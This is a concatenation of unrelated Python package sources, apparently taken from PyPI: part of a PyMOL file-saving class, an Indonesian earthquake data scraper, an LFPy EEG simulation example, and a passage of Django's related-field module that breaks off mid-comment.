f'element C and minimised') if self.minimized_pdbblock is not None: pymol.cmd.read_pdbstr(self.minimized_pdbblock, 'min_protein') pymol.cmd.color('gray50', f'element C and min_protein') pymol.cmd.hide('sticks', 'min_protein') if self.unminimized_pdbblock is not None: pymol.cmd.read_pdbstr(self.unminimized_pdbblock, 'unmin_protein') pymol.cmd.color('gray20', f'element C and unmin_protein') pymol.cmd.hide('sticks', 'unmin_protein') pymol.cmd.disable('unmin_protein') for mol in extra_mols: name = mol.GetProp('_Name') pymol.cmd.read_molstr(Chem.MolToMolBlock(mol, kekulize=False), name) pymol.cmd.color('magenta', f'{name} and name C*') pymol.cmd.save(os.path.join(self.work_path, self.long_name, filename)) def make_steps_pse(self, filename: str = 'step.pse'): """ Saves the steps in a pse file. For a more exhaustive file, use `make_pse` in Monster. """ import pymol2 assert '.pse' in filename, f'{filename} not .pse file' with pymol2.PyMOL() as pymol: for hit in self.hits: pymol.cmd.read_molstr(Chem.MolToMolBlock(hit, kekulize=False), hit.GetProp('_Name')) for label, mod in self.modifications: pymol.cmd.read_molstr(Chem.MolToMolBlock(mod, kekulize=False), re.sub('[^\w_]', '_', label)) pymol.cmd.save(os.path.join(self.work_path, self.long_name, filename)) # ===== MF keeps calling these from victor... def draw_nicely(self, *args, **kwargs): self.journal.warning('The `draw_nicely` method is in monster. Please use Monster.draw_nicely') self.monster.draw_nicely(*args, **kwargs) def show_comparison(self, *args, **kwargs): self.journal.warning('The `show_comparison` method is in monster. Please use Monster.show_comparison') self.monster.show_comparison(*args, **kwargs)
PypiClean
/IndonesiaEarthquake_sReport-0.0.4-py3-none-any.whl/gempa_terkini/__init__.py
import requests from bs4 import BeautifulSoup def ekstraksi_data(): """ Tanggal: 09 Maret 2022 Waktu: 08:49:18 WIB Magnitudo: 5.2 Kedalaman: 14 km Lokasi: LU= 2.57 BT=128.43 Pusat Gempa: Pusat gempa berada di Laut 60 km TimurLaut Daruba Dirasakan: Dirasakan (Skala MMI): II-III Morotai :return: """ try: content = requests.get('https://www.bmkg.go.id') except Exception: return None if content.status_code == 200: soup = BeautifulSoup(content.text, 'html.parser') result = soup.find('span', {'class': 'waktu'}) result = result.text.split(', ') waktu = result[1] tanggal = result[0] result = soup.find('div', {'class': 'col-md-6 col-xs-6 gempabumi-detail no-padding'}) result = result.findChildren('li') i = 0 magnitudo = None kedalaman = None ls = None bt = None lokasi = None dirasakan = None for res in result: if i == 2: magnitudo = res.text elif i == 4: kedalaman = res.text elif i == 6: koordinat = res.text.split(' - ') ls = koordinat[0] bt = koordinat[1] elif i == 8: lokasi = res.text elif i == 10: dirasakan = res.text i = i + 2 hasil = dict() hasil['tanggal'] = tanggal hasil['waktu'] = waktu hasil['magnitudo'] = magnitudo hasil['kedalaman'] = kedalaman hasil['koordinat'] = {'ls': ls, 'bt': bt} hasil['lokasi'] = lokasi hasil['dirasakan'] = dirasakan return hasil else: return None def tampilkan_data(result): if result is None: print('Tidak dapat menampilkan data terkini.') return print('Informasi Gempa Berdasarkan BMKG') print(f"Tanggal: {result['tanggal']}") print(f"Waktu: {result['waktu']}") print(f"Magnitudo: {result['magnitudo']}") print(f"Kedalaman: {result['kedalaman']}") print(f"Lokasi: {result['lokasi']}") print(f"Koordinat: LS={result['koordinat']['ls']}, BT={result['koordinat']['bt']}") print(f"Dirasakan: {result['dirasakan']}") if __name__ == '__main__': result = ekstraksi_data() tampilkan_data(result)
PypiClean
/LFPy-2.3.tar.gz/LFPy-2.3/examples/example_EEG.py
import LFPy import numpy as np import matplotlib.pyplot as plt def plot_cell_to_ax(cell, ax, synidxs): for idx in range(cell.totnsegs): if idx == 0: ax.plot(cell.x[idx].mean(), cell.z[idx].mean(), 'ko') else: ax.plot(cell.x[idx], cell.z[idx], c='k') for synidx in synidxs: l, = ax.plot(cell.x[synidx].mean(), cell.z[synidx].mean(), '*', c="r", ms=10) ax.legend([l], ["Synapse"], frameon=False, bbox_to_anchor=[1, -0.1]) def plot_EEG_sphere(fig, eeg, x_eeg, y_eeg, z_eeg): ax = fig.add_subplot(322, projection='3d', title="Max EEG potential\nat 4-sphere surface") vmax = 6 vmin = -vmax def clr(phi): return plt.cm.PRGn((phi - vmin) / (vmax - vmin)) clrs = clr(eeg) ax.plot_surface(x_eeg.reshape(num_theta, num_phi), y_eeg.reshape(num_theta, num_phi), z_eeg.reshape(num_theta, num_phi), rstride=1, cstride=1, facecolors=clrs, linewidth=0, antialiased=False) # ax.set_aspect('equal') # Raises NotImplementedError in MPL currently ax.axis('off') ax.set_xlim3d(-65000, 65000) ax.set_ylim3d(-65000, 65000) ax.set_zlim3d(-65000, 65000) ax.view_init(10, 0) # colorbar cax = fig.add_axes([0.65, 0.75, 0.25, 0.01]) m = plt.cm.ScalarMappable(cmap=plt.cm.PRGn) ticks = np.linspace(vmin, vmax, 5) # global normalization m.set_array(ticks) cbar = fig.colorbar(m, cax=cax, extend='both', orientation='horizontal') cbar.outline.set_visible(False) cbar.set_ticks(ticks) cbar.set_label(r'$\phi$ (pV)', labelpad=1.) if __name__ == '__main__': # four_sphere properties radii = [79000., 80000., 85000., 90000.] sigmas = [0.3, 1.5, 0.015, 0.3] rad_tol = 1e-2 # simulate cell syn_loc = (0, 0, 1000) cell_params = {'morphology': 'morphologies/L5_Mainen96_LFPy.hoc', 'cm': 1.0, # membrane capacitance 'Ra': 150, # axial resistance 'passive': True, # switch on passive mechs # method for setting number of segments: 'nsegs_method': 'lambda_f', # lambda frequency: 'lambda_f': 100, # passive params: 'passive_parameters': {'g_pas': 1. / 30000, 'e_pas': -70}, 'tstop': 40, # simulation duration } synapse_params = {'e': 0., # reversal potential 'syntype': 'ExpSyn', # exponential synapse 'tau': 5., # synapse time constant 'weight': 0.001, # 0.001, # synapse weight 'record_current': True # record synapse current } # create cell with parameters in dictionary cell = LFPy.Cell(**cell_params) cell.set_rotation(x=4.98919, y=-4.33261, z=0.) pos = syn_loc synapse_params['idx'] = cell.get_closest_idx(x=pos[0], y=pos[1], z=pos[2]) synapse = LFPy.Synapse(cell, **synapse_params) synapse.set_spike_times(np.array([5.])) cell.simulate(rec_imem=True) # compute dipole cdm = LFPy.CurrentDipoleMoment(cell) P = cdm.get_transformation_matrix() @ cell.imem somapos = np.array([0., 0., 77500]) r_soma_syns = [ cell.get_intersegment_vector( idx0=0, idx1=i) for i in cell.synidx] r_mid = np.average(r_soma_syns, axis=0) r_mid = somapos + r_mid / 2. eeg_coords_top = np.array([[0., 0., radii[3] - rad_tol]]) four_sphere_top = LFPy.FourSphereVolumeConductor( eeg_coords_top, radii, sigmas) pot_db_4s_top = four_sphere_top.get_dipole_potential(P, r_mid) eeg_top = np.array(pot_db_4s_top) * 1e9 # measurement points # for nice plot use theta_step = 1 and phi_step = 1. NB: Long computation # time. theta_step = 5 phi_step = 5 theta, phi_angle = np.mgrid[0.:180.:theta_step, 0.:360. + phi_step:phi_step] num_theta = theta.shape[0] num_phi = theta.shape[1] theta = theta.flatten() phi_angle = phi_angle.flatten() theta_r = np.deg2rad(theta) phi_angle_r = np.deg2rad(phi_angle) x_eeg = (radii[3] - rad_tol) * np.sin(theta_r) * np.cos(phi_angle_r) y_eeg = (radii[3] - rad_tol) * np.sin(theta_r) * np.sin(phi_angle_r) z_eeg = (radii[3] - rad_tol) * np.cos(theta_r) eeg_coords = np.vstack((x_eeg, y_eeg, z_eeg)).T # potential in 4S with db time_max = np.argmax(np.linalg.norm(P, axis=0)) p = P[:, time_max].reshape((3, 1)) four_sphere = LFPy.FourSphereVolumeConductor(eeg_coords, radii, sigmas) pot_db_4s = four_sphere.get_dipole_potential(p, r_mid) eeg = pot_db_4s.reshape(num_theta, num_phi) * 1e9 # from mV to pV P_mag = np.sqrt(P[:, 0]**2 + P[:, 1]**2 + P[:, 2]**2) plt.close('all') fig = plt.figure(figsize=[6, 8]) fig.subplots_adjust(left=0.15, hspace=0.5, right=0.98, top=0.95) morph_ax = fig.add_subplot(321, aspect=1, frameon=False, title="Cell and synapse", xticks=[], yticks=[]) plot_cell_to_ax(cell, morph_ax, cell.synidx) plot_EEG_sphere(fig, eeg, x_eeg, y_eeg, z_eeg) ax_p = fig.add_subplot( 312, title="Current dipole moment", ylabel=r"nA$\cdot\mu$m") ax_p.plot(cell.tvec, P[0, :], label="P$_x$") ax_p.plot(cell.tvec, P[1, :], label="P$_y$") ax_p.plot(cell.tvec, P[2, :], label="P$_z$") ax_p.axvline(cell.tvec[time_max], c='gray', ls='--') ax_p.legend(frameon=False, ncol=4, bbox_to_anchor=[1, -0.1]) ax_eeg = fig.add_subplot(313, title="EEG at top", xlabel="Time (ms)", ylabel='pV') ax_eeg.plot(cell.tvec, eeg_top[0, :], 'k') ax_eeg.axvline(cell.tvec[time_max], c='gray', ls='--') # plt.savefig('example_EEG.pdf') plt.show()
PypiClean
/CleanAdminDjango-1.5.3.1.tar.gz/CleanAdminDjango-1.5.3.1/django/db/models/fields/related.py
from operator import attrgetter from django.db import connection, connections, router from django.db.backends import util from django.db.models import signals, get_model from django.db.models.fields import (AutoField, Field, IntegerField, PositiveIntegerField, PositiveSmallIntegerField, FieldDoesNotExist) from django.db.models.related import RelatedObject from django.db.models.query import QuerySet from django.db.models.query_utils import QueryWrapper from django.db.models.deletion import CASCADE from django.utils.encoding import smart_text from django.utils import six from django.utils.translation import ugettext_lazy as _, string_concat from django.utils.functional import curry, cached_property from django.core import exceptions from django import forms RECURSIVE_RELATIONSHIP_CONSTANT = 'self' pending_lookups = {} def add_lazy_relation(cls, field, relation, operation): """ Adds a lookup on ``cls`` when a related field is defined using a string, i.e.:: class MyModel(Model): fk = ForeignKey("AnotherModel") This string can be: * RECURSIVE_RELATIONSHIP_CONSTANT (i.e. "self") to indicate a recursive relation. * The name of a model (i.e "AnotherModel") to indicate another model in the same app. * An app-label and model name (i.e. "someapp.AnotherModel") to indicate another model in a different app. If the other model hasn't yet been loaded -- almost a given if you're using lazy relationships -- then the relation won't be set up until the class_prepared signal fires at the end of model initialization. operation is the work that must be performed once the relation can be resolved. """ # Check for recursive relations if relation == RECURSIVE_RELATIONSHIP_CONSTANT: app_label = cls._meta.app_label model_name = cls.__name__ else: # Look for an "app.Model" relation if isinstance(relation, six.string_types): try: app_label, model_name = relation.split(".") except ValueError: # If we can't split, assume a model in current app app_label = cls._meta.app_label model_name = relation else: # it's actually a model class app_label = relation._meta.app_label model_name = relation._meta.object_name # Try to look up the related model, and if it's already loaded resolve the # string right away. If get_model returns None, it means that the related # model isn't loaded yet, so we need to pend the relation until the class # is prepared. model = get_model(app_label, model_name, seed_cache=False, only_installed=False) if model: operation(field, model, cls) else: key = (app_label, model_name) value = (cls, field, operation) pending_lookups.setdefault(key, []).append(value) def do_pending_lookups(sender, **kwargs): """ Handle any pending relations to the sending model. Sent from class_prepared. """ key = (sender._meta.app_label, sender.__name__) for cls, field, operation in pending_lookups.pop(key, []): operation(field, sender, cls) signals.class_prepared.connect(do_pending_lookups) #HACK class RelatedField(object): def contribute_to_class(self, cls, name): sup = super(RelatedField, self) # Store the opts for related_query_name() self.opts = cls._meta if hasattr(sup, 'contribute_to_class'): sup.contribute_to_class(cls, name) if not cls._meta.abstract and self.rel.related_name: self.rel.related_name = self.rel.related_name % { 'class': cls.__name__.lower(), 'app_label': cls._meta.app_label.lower(), } other = self.rel.to if isinstance(other, six.string_types) or other._meta.pk is None: def resolve_related_class(field, model, cls): field.rel.to = model field.do_related_class(model, cls) add_lazy_relation(cls, self, other, resolve_related_class) else: self.do_related_class(other, cls) def set_attributes_from_rel(self): self.name = self.name or (self.rel.to._meta.object_name.lower() + '_' + self.rel.to._meta.pk.name) if self.verbose_name is None: self.verbose_name = self.rel.to._meta.verbose_name self.rel.field_name = self.rel.field_name or self.rel.to._meta.pk.name def do_related_class(self, other, cls): self.set_attributes_from_rel() self.related = RelatedObject(other, cls, self) if not cls._meta.abstract: self.contribute_to_related_class(other, self.related) def get_prep_lookup(self, lookup_type, value): if hasattr(value, 'prepare'): return value.prepare() if hasattr(value, '_prepare'): return value._prepare() # FIXME: lt and gt are explicitly allowed to make # get_(next/prev)_by_date work; other lookups are not allowed since that # gets messy pretty quick. This is a good candidate for some refactoring # in the future. if lookup_type in ['exact', 'gt', 'lt', 'gte', 'lte']: return self._pk_trace(value, 'get_prep_lookup', lookup_type) if lookup_type in ('range', 'in'): return [self._pk_trace(v, 'get_prep_lookup', lookup_type) for v in value] elif lookup_type == 'isnull': return [] raise TypeError("Related Field has invalid lookup: %s" % lookup_type) def get_db_prep_lookup(self, lookup_type, value, connection, prepared=False): if not prepared: value = self.get_prep_lookup(lookup_type, value) if hasattr(value, 'get_compiler'): value = value.get_compiler(connection=connection) if hasattr(value, 'as_sql') or hasattr(value, '_as_sql'): # If the value has a relabel_aliases method, it will need to # be invoked before the final SQL is evaluated if hasattr(value, 'relabel_aliases'): return value if hasattr(value, 'as_sql'): sql, params = value.as_sql() else: sql, params = value._as_sql(connection=connection) return QueryWrapper(('(%s)' % sql), params) # FIXME: lt and gt are explicitly allowed to make # get_(next/prev)_by_date work; other lookups are not allowed since that # gets messy pretty quick. This is a good candidate for some refactoring # in the future. if lookup_type in ['exact', 'gt', 'lt', 'gte', 'lte']: return [self._pk_trace(value, 'get_db_prep_lookup', lookup_type, connection=connection, prepared=prepared)] if lookup_type in ('range', 'in'): return [self._pk_trace(v, 'get_db_prep_lookup', lookup_type, connection=connection, prepared=prepared) for v in value] elif lookup_type == 'isnull': return [] raise TypeError("Related Field has invalid lookup: %s" % lookup_type) def _pk_trace(self, value, prep_func, lookup_type, **kwargs): # Value may be a primary key, or an object held in a relation. # If it is an object, then we need to get the primary key value for # that object. In certain conditions (especially one-to-one relations), # the primary key may itself be an object - so we need to keep drilling # down until we hit a value that can be used for a comparison. v = value # In the case of an FK to 'self', this check allows to_field to be used # for both forwards and reverse lookups across the FK. (For normal FKs, # it's only relevant for forward lookups). if isinstance(v, self.rel.to): field_name = getattr(self.rel, "field_name", None) else: field_name = None try: while True: if field_name is None: field_name = v._meta.pk.name v = getattr(v, field_name) field_name = None except AttributeError: pass except exceptions.ObjectDoesNotExist: v = None field = self while field.rel: if hasattr(field.rel, 'field_name'): field = field.rel.to._meta.get_field(field.rel.field_name) else: field = field.rel.to._meta.pk if lookup_type in ('range', 'in'): v = [v] v = getattr(field, prep_func)(lookup_type, v, **kwargs) if isinstance(v, list): v = v[0] return v def related_query_name(self): # This method defines the name that can be used to identify this # related object in a table-spanning query. It uses the lower-cased # object_name by default, but this can be overridden with the # "related_name" option. return self.rel.related_name or self.opts.object_name.lower() class SingleRelatedObjectDescriptor(object): # This class provides the functionality that makes the related-object # managers available as attributes on a model class, for fields that have # a single "remote" value, on the class pointed to by a related field. # In the example "place.restaurant", the restaurant attribute is a # SingleRelatedObjectDescriptor instance. def __init__(self, related): self.related = related self.cache_name = related.get_cache_name() def is_cached(self, instance): return hasattr(instance, self.cache_name) def get_query_set(self, **db_hints): db = router.db_for_read(self.related.model, **db_hints) return self.related.model._base_manager.using(db) def get_prefetch_query_set(self, instances): rel_obj_attr = attrgetter(self.related.field.attname) instance_attr = lambda obj: obj._get_pk_val() instances_dict = dict((instance_attr(inst), inst) for inst in instances) params = {'%s__pk__in' % self.related.field.name: list(instances_dict)} qs = self.get_query_set(instance=instances[0]).filter(**params) # Since we're going to assign directly in the cache, # we must manage the reverse relation cache manually. rel_obj_cache_name = self.related.field.get_cache_name() for rel_obj in qs: instance = instances_dict[rel_obj_attr(rel_obj)] setattr(rel_obj, rel_obj_cache_name, instance) return qs, rel_obj_attr, instance_attr, True, self.cache_name def __get__(self, instance, instance_type=None): if instance is None: return self try: rel_obj = getattr(instance, self.cache_name) except AttributeError: related_pk = instance._get_pk_val() if related_pk is None: rel_obj = None else: params = {'%s__pk' % self.related.field.name: related_pk} try: rel_obj = self.get_query_set(instance=instance).get(**params) except self.related.model.DoesNotExist: rel_obj = None else: setattr(rel_obj, self.related.field.get_cache_name(), instance) setattr(instance, self.cache_name, rel_obj) if rel_obj is None: raise self.related.model.DoesNotExist else: return rel_obj def __set__(self, instance, value): if instance is None: raise AttributeError("%s must be accessed via instance" % self.related.opts.object_name) # The similarity of the code below to the code in # ReverseSingleRelatedObjectDescriptor is annoying, but there's a bunch # of small differences that would make a common base class convoluted. # If null=True, we can assign null here, but otherwise the value needs # to be an instance of the related class. if value is None and self.related.field.null == False: raise ValueError('Cannot assign None: "%s.%s" does not allow null values.' % (instance._meta.object_name, self.related.get_accessor_name())) elif value is not None and not isinstance(value, self.related.model): raise ValueError('Cannot assign "%r": "%s.%s" must be a "%s" instance.' % (value, instance._meta.object_name, self.related.get_accessor_name(), self.related.opts.object_name)) elif value is not None: if instance._state.db is None: instance._state.db = router.db_for_write(instance.__class__, instance=value) elif value._state.db is None: value._state.db = router.db_for_write(value.__class__, instance=instance) elif value._state.db is not None and instance._state.db is not None: if not router.allow_relation(value, instance): raise ValueError('Cannot assign "%r": instance is on database "%s", value is on database "%s"' % (value, instance._state.db, value._state.db)) related_pk = getattr(instance, self.related.field.rel.get_related_field().attname) if related_pk is None: raise ValueError('Cannot assign "%r": "%s" instance isn\'t saved in the database.' % (value, instance._meta.object_name)) # Set the value of the related field to the value of the related object's related field setattr(value, self.related.field.attname, related_pk) # Since we already know what the related object is, seed the related # object caches now, too. This avoids another db hit if you get the # object you just set. setattr(instance, self.cache_name, value) setattr(value, self.related.field.get_cache_name(), instance) class ReverseSingleRelatedObjectDescriptor(object): # This class provides the functionality that makes the related-object # managers available as attributes on a model class, for fields that have # a single "remote" value, on the class that defines the related field. # In the example "choice.poll", the poll attribute is a # ReverseSingleRelatedObjectDescriptor instance. def __init__(self, field_with_rel): self.field = field_with_rel self.cache_name = self.field.get_cache_name() def is_cached(self, instance): return hasattr(instance, self.cache_name) def get_query_set(self, **db_hints): db = router.db_for_read(self.field.rel.to, **db_hints) rel_mgr = self.field.rel.to._default_manager # If the related manager indicates that it should be used for # related fields, respect that. if getattr(rel_mgr, 'use_for_related_fields', False): return rel_mgr.using(db) else: return QuerySet(self.field.rel.to).using(db) def get_prefetch_query_set(self, instances): other_field = self.field.rel.get_related_field() rel_obj_attr = attrgetter(other_field.attname) instance_attr = attrgetter(self.field.attname) instances_dict = dict((instance_attr(inst), inst) for inst in instances) if other_field.rel: params = {'%s__pk__in' % self.field.rel.field_name: list(instances_dict)} else: params = {'%s__in' % self.field.rel.field_name: list(instances_dict)} qs = self.get_query_set(instance=instances[0]).filter(**params) # Since we're going to assign directly in the cache, # we must manage the reverse relation cache manually. if not self.field.rel.multiple: rel_obj_cache_name = self.field.related.get_cache_name() for rel_obj in qs: instance = instances_dict[rel_obj_attr(rel_obj)] setattr(rel_obj, rel_obj_cache_name, instance) return qs, rel_obj_attr, instance_attr, True, self.cache_name def __get__(self, instance, instance_type=None): if instance is None: return self try: rel_obj = getattr(instance, self.cache_name) except AttributeError: val = getattr(instance, self.field.attname) if val is None: rel_obj = None else: other_field = self.field.rel.get_related_field() if other_field.rel: params = {'%s__%s' % (self.field.rel.field_name, other_field.rel.field_name): val} else: params = {'%s__exact' % self.field.rel.field_name: val} qs = self.get_query_set(instance=instance) # Assuming the database enforces foreign keys, this won't fail. rel_obj = qs.get(**params) if not self.field.rel.multiple: setattr(rel_obj, self.field.related.get_cache_name(), instance) setattr(instance, self.cache_name, rel_obj) if rel_obj is None and not self.field.null: raise self.field.rel.to.DoesNotExist else: return rel_obj def __set__(self, instance, value): if instance is None: raise AttributeError("%s must be accessed via instance" % self.field.name) # If null=True, we can assign null here, but otherwise the value needs # to be an instance of the related class. if value is None and self.field.null == False: raise ValueError('Cannot assign None: "%s.%s" does not allow null values.' % (instance._meta.object_name, self.field.name)) elif value is not None and not isinstance(value, self.field.rel.to): raise ValueError('Cannot assign "%r": "%s.%s" must be a "%s" instance.' % (value, instance._meta.object_name, self.field.name, self.field.rel.to._meta.object_name)) elif value is not None: if instance._state.db is None: instance._state.db = router.db_for_write(instance.__class__, instance=value) elif value._state.db is None: value._state.db = router.db_for_write(value.__class__, instance=instance) elif value._state.db is not None and instance._state.db is not None: if not router.allow_relation(value, instance): raise ValueError('Cannot assign "%r": instance is on database "%s", value is on database "%s"' % (value, instance._state.db, value._state.db)) # If we're setting the value of a OneToOneField to None, we need to clear # out the cache on any old related object. Otherwise, deleting the # previously-related object will also cause this object to be deleted, # which is wrong. if value is None: # Look up the previously-related object, which may still be available # since we've not yet cleared out the related field. # Use the cache directly, instead of the accessor; if we haven't # populated the cache, then we don't care - we're only accessing # the object to invalidate the accessor cache, so there's no # need to populate the cache just to expire it again. related = getattr(instance, self.cache_name, None) # If we've got an old related object, we need to clear out its # cache. This cache also might not exist if the related object # hasn't been accessed yet. if related is not None: setattr(related, self.field.related.get_cache_name(), None) # Set the value of the related field try: val = getattr(value, self.field.rel.get_related_field().attname) except AttributeError: val = None setattr(instance, self.field.attname, val) # Since we already know what the related object is, seed the related # object caches now, too. This avoids another db hit if you get the # object you just set. setattr(instance, self.cache_name, value) if value is not None and not self.field.rel.multiple: setattr(value, self.field.related.get_cache_name(), instance) class ForeignRelatedObjectsDescriptor(object): # This class provides the functionality that makes the related-object # managers available as attributes on a model class, for fields that have # multiple "remote" values and have a ForeignKey pointed at them by # some other model. In the example "poll.choice_set", the choice_set # attribute is a ForeignRelatedObjectsDescriptor instance. def __init__(self, related): self.related = related # RelatedObject instance def __get__(self, instance, instance_type=None): if instance is None: return self return self.related_manager_cls(instance) def __set__(self, instance, value): if instance is None: raise AttributeError("Manager must be accessed via instance") manager = self.__get__(instance) # If the foreign key can support nulls, then completely clear the related set. # Otherwise, just move the named objects into the set. if self.related.field.null: manager.clear() manager.add(*value) @cached_property def related_manager_cls(self): # Dynamically create a class that subclasses the related model's default # manager. superclass = self.related.model._default_manager.__class__ rel_field = self.related.field rel_model = self.related.model attname = rel_field.rel.get_related_field().attname class RelatedManager(superclass): def __init__(self, instance): super(RelatedManager, self).__init__() self.instance = instance self.core_filters = { '%s__%s' % (rel_field.name, attname): getattr(instance, attname) } self.model = rel_model def get_query_set(self): try: return self.instance._prefetched_objects_cache[rel_field.related_query_name()] except (AttributeError, KeyError): db = self._db or router.db_for_read(self.model, instance=self.instance) qs = super(RelatedManager, self).get_query_set().using(db).filter(**self.core_filters) val = getattr(self.instance, attname) if val is None or val == '' and connections[db].features.interprets_empty_strings_as_nulls: # We don't want to use qs.none() here, see #19652 return qs.filter(pk__in=[]) qs._known_related_objects = {rel_field: {self.instance.pk: self.instance}} return qs def get_prefetch_query_set(self, instances): rel_obj_attr = attrgetter(rel_field.attname) instance_attr = attrgetter(attname) instances_dict = dict((instance_attr(inst), inst) for inst in instances) db = self._db or router.db_for_read(self.model, instance=instances[0]) query = {'%s__%s__in' % (rel_field.name, attname): list(instances_dict)} qs = super(RelatedManager, self).get_query_set().using(db).filter(**query) # Since we just bypassed this class' get_query_set(), we must manage # the reverse relation manually. for rel_obj in qs: instance = instances_dict[rel_obj_attr(rel_obj)] setattr(rel_obj, rel_field.name, instance) cache_name = rel_field.related_query_name() return qs, rel_obj_attr, instance_attr, False, cache_name def add(self, *objs): for obj in objs: if not isinstance(obj, self.model): raise TypeError("'%s' instance expected, got %r" % (self.model._meta.object_name, obj)) setattr(obj, rel_field.name, self.instance) obj.save() add.alters_data = True def create(self, **kwargs): kwargs[rel_field.name] = self.instance db = router.db_for_write(self.model, instance=self.instance) return super(RelatedManager, self.db_manager(db)).create(**kwargs) create.alters_data = True def get_or_create(self, **kwargs): # Update kwargs with the related object that this # ForeignRelatedObjectsDescriptor knows about. kwargs[rel_field.name] = self.instance db = router.db_for_write(self.model, instance=self.instance) return super(RelatedManager, self.db_manager(db)).get_or_create(**kwargs) get_or_create.alters_data = True # remove() and clear() are only provided if the ForeignKey can have a value of null. if rel_field.null: def remove(self, *objs): val = getattr(self.instance, attname) for obj in objs: # Is obj actually part of this descriptor set? if getattr(obj, rel_field.attname) == val: setattr(obj, rel_field.name, None) obj.save() else: raise rel_field.rel.to.DoesNotExist("%r is not related to %r." % (obj, self.instance)) remove.alters_data = True def clear(self): self.update(**{rel_field.name: None}) clear.alters_data = True return RelatedManager def create_many_related_manager(superclass, rel): """Creates a manager that subclasses 'superclass' (which is a Manager) and adds behavior for many-to-many related objects.""" class ManyRelatedManager(superclass): def __init__(self, model=None, query_field_name=None, instance=None, symmetrical=None, source_field_name=None, target_field_name=None, reverse=False, through=None, prefetch_cache_name=None): super(ManyRelatedManager, self).__init__() self.model = model self.query_field_name = query_field_name self.core_filters = {'%s__pk' % query_field_name: instance._get_pk_val()} self.instance = instance self.symmetrical = symmetrical self.source_field_name = source_field_name self.target_field_name = target_field_name self.reverse = reverse self.through = through self.prefetch_cache_name = prefetch_cache_name self._fk_val = self._get_fk_val(instance, source_field_name) if self._fk_val is None: raise ValueError('"%r" needs to have a value for field "%s" before ' 'this many-to-many relationship can be used.' % (instance, source_field_name)) # Even if this relation is not to pk, we require still pk value. # The wish is that the instance has been already saved to DB, # although having a pk value isn't a guarantee of that. if instance.pk is None: raise ValueError("%r instance needs to have a primary key value before " "a many-to-many relationship can be used." % instance.__class__.__name__) def _get_fk_val(self, obj, field_name): """ Returns the correct value for this relationship's foreign key. This might be something else than pk value when to_field is used. """ if not self.through: # Make custom m2m fields with no through model defined usable. return obj.pk fk = self.through._meta.get_field(field_name) if fk.rel.field_name and fk.rel.field_name != fk.rel.to._meta.pk.attname: attname = fk.rel.get_related_field().get_attname() return fk.get_prep_lookup('exact', getattr(obj, attname)) else: return obj.pk def get_query_set(self): try: return self.instance._prefetched_objects_cache[self.prefetch_cache_name] except (AttributeError, KeyError): db = self._db or router.db_for_read(self.instance.__class__, instance=self.instance) return super(ManyRelatedManager, self).get_query_set().using(db)._next_is_sticky().filter(**self.core_filters) def get_prefetch_query_set(self, instances): instance = instances[0] from django.db import connections db = self._db or router.db_for_read(instance.__class__, instance=instance) query = {'%s__pk__in' % self.query_field_name: set(obj._get_pk_val() for obj in instances)} qs = super(ManyRelatedManager, self).get_query_set().using(db)._next_is_sticky().filter(**query) # M2M: need to annotate the query in order to get the primary model # that the secondary model was actually related to. We know that # there will already be a join on the join table, so we can just add # the select. # For non-autocreated 'through' models, can't assume we are # dealing with PK values. fk = self.through._meta.get_field(self.source_field_name) source_col = fk.column join_table = self.through._meta.db_table connection = connections[db] qn = connection.ops.quote_name qs = qs.extra(select={'_prefetch_related_val': '%s.%s' % (qn(join_table), qn(source_col))}) select_attname = fk.rel.get_related_field().get_attname() return (qs, attrgetter('_prefetch_related_val'), attrgetter(select_attname), False, self.prefetch_cache_name) # If the ManyToMany relation has an intermediary model, # the add and remove methods do not exist. if rel.through._meta.auto_created: def add(self, *objs): self._add_items(self.source_field_name, self.target_field_name, *objs) # If this is a symmetrical m2m relation to self, add the mirror entry in the m2m table if self.symmetrical: self._add_items(self.target_field_name, self.source_field_name, *objs) add.alters_data = True def remove(self, *objs): self._remove_items(self.source_field_name, self.target_field_name, *objs) # If this is a symmetrical m2m relation to self, remove the mirror entry in the m2m table if self.symmetrical: self._remove_items(self.target_field_name, self.source_field_name, *objs) remove.alters_data = True def clear(self): self._clear_items(self.source_field_name) # If this is a symmetrical m2m relation to self, clear the mirror entry in the m2m table if self.symmetrical: self._clear_items(self.target_field_name) clear.alters_data = True def create(self, **kwargs): # This check needs to be done here, since we can't later remove this # from the method lookup table, as we do with add and remove. if not self.through._meta.auto_created: opts = self.through._meta raise AttributeError("Cannot use create() on a ManyToManyField which specifies an intermediary model. Use %s.%s's Manager instead." % (opts.app_label, opts.object_name)) db = router.db_for_write(self.instance.__class__, instance=self.instance) new_obj = super(ManyRelatedManager, self.db_manager(db)).create(**kwargs) self.add(new_obj) return new_obj create.alters_data = True def get_or_create(self, **kwargs): db = router.db_for_write(self.instance.__class__, instance=self.instance) obj, created = \ super(ManyRelatedManager, self.db_manager(db)).get_or_create(**kwargs) # We only need to add() if created because if we got an object back # from get() then the relationship already exists. if created: self.add(obj) return obj, created get_or_create.alters_data = True def _add_items(self, source_field_name, target_field_name, *objs): # source_field_name: the PK fieldname in join table for the source object # target_field_name: the PK fieldname in join table for the target object # *objs - objects to add. Either object instances, or primary keys of object instances. # If there aren't any objects, there is nothing to do. from django.db.models import Model if objs: new_ids = set() for obj in objs: if isinstance(obj, self.model): if not router.allow_relation(obj, self.instance): raise ValueError('Cannot add "%r": instance is on database "%s", value is on database "%s"' % (obj, self.instance._state.db, obj._state.db)) fk_val = self._get_fk_val(obj, target_field_name) if fk_val is None: raise ValueError('Cannot add "%r": the value for field "%s" is None' % (obj, target_field_name)) new_ids.add(self._get_fk_val(obj, target_field_name)) elif isinstance(obj, Model): raise TypeError("'%s' instance expected, got %r" % (self.model._meta.object_name, obj)) else: new_ids.add(obj) db = router.db_for_write(self.through, instance=self.instance) vals = self.through._default_manager.using(db).values_list(target_field_name, flat=True) vals = vals.filter(**{ source_field_name: self._fk_val, '%s__in' % target_field_name: new_ids, }) new_ids = new_ids - set(vals) if self.reverse or source_field_name == self.source_field_name: # Don't send the signal when we are inserting the # duplicate data row for symmetrical reverse entries. signals.m2m_changed.send(sender=self.through, action='pre_add', instance=self.instance, reverse=self.reverse, model=self.model, pk_set=new_ids, using=db) # Add the ones that aren't there already self.through._default_manager.using(db).bulk_create([ self.through(**{ '%s_id' % source_field_name: self._fk_val, '%s_id' % target_field_name: obj_id, }) for obj_id in new_ids ]) if self.reverse or source_field_name == self.source_field_name: # Don't send the signal when we are inserting the # duplicate data row for symmetrical reverse entries. signals.m2m_changed.send(sender=self.through, action='post_add', instance=self.instance, reverse=self.reverse, model=self.model, pk_set=new_ids, using=db) def _remove_items(self, source_field_name, target_field_name, *objs): # source_field_name: the PK colname in 